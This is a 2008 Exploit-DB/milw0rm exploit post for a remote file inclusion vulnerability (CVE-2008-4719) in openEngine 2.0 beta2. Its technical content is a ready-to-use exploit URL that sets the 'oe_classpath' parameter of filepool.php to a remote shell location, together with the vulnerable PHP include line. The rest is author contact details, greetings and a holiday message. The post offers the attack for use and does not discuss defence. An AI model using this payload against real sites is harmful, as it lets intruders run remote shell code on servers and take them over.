openengine 2.0 beta2 - Remote File Inclusion Vulnerability

2008-09-26T00:00:00
ID EDB-ID:6585
Type exploitdb
Reporter Crackers_Child
Modified 2008-09-26T00:00:00

Description

openEngine 2.0 beta2 Remote File Inclusion Vulnerability. CVE-2008-4719. Webapps exploit for php platform

                                        
                                            **************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : str0ke & All My Friends

**************************************************************************************
Script   : openEngine 2. 0 beta2 Remote File include Vulnerable
Download :http://downloads.sourceforge.net/openengine/openengine20_beta2.zip?modtime=1203083918&big_mirror=0

**************************************************************************************

Exploit : Site.com/script_path/cms/classes/openengine/filepool.php?oe_classpath=Shellz?


**************************************************************************************

Vulberable : include($oe_classpath."/openengine/thumbnail.php"); (filepool.php)


**************************************************************************************

N0te : Mubarek Ramazan Bayraminiz Kutlu Olsun Ey Musluman Halki :)
**************************************************************************************

# milw0rm.com [2008-09-26]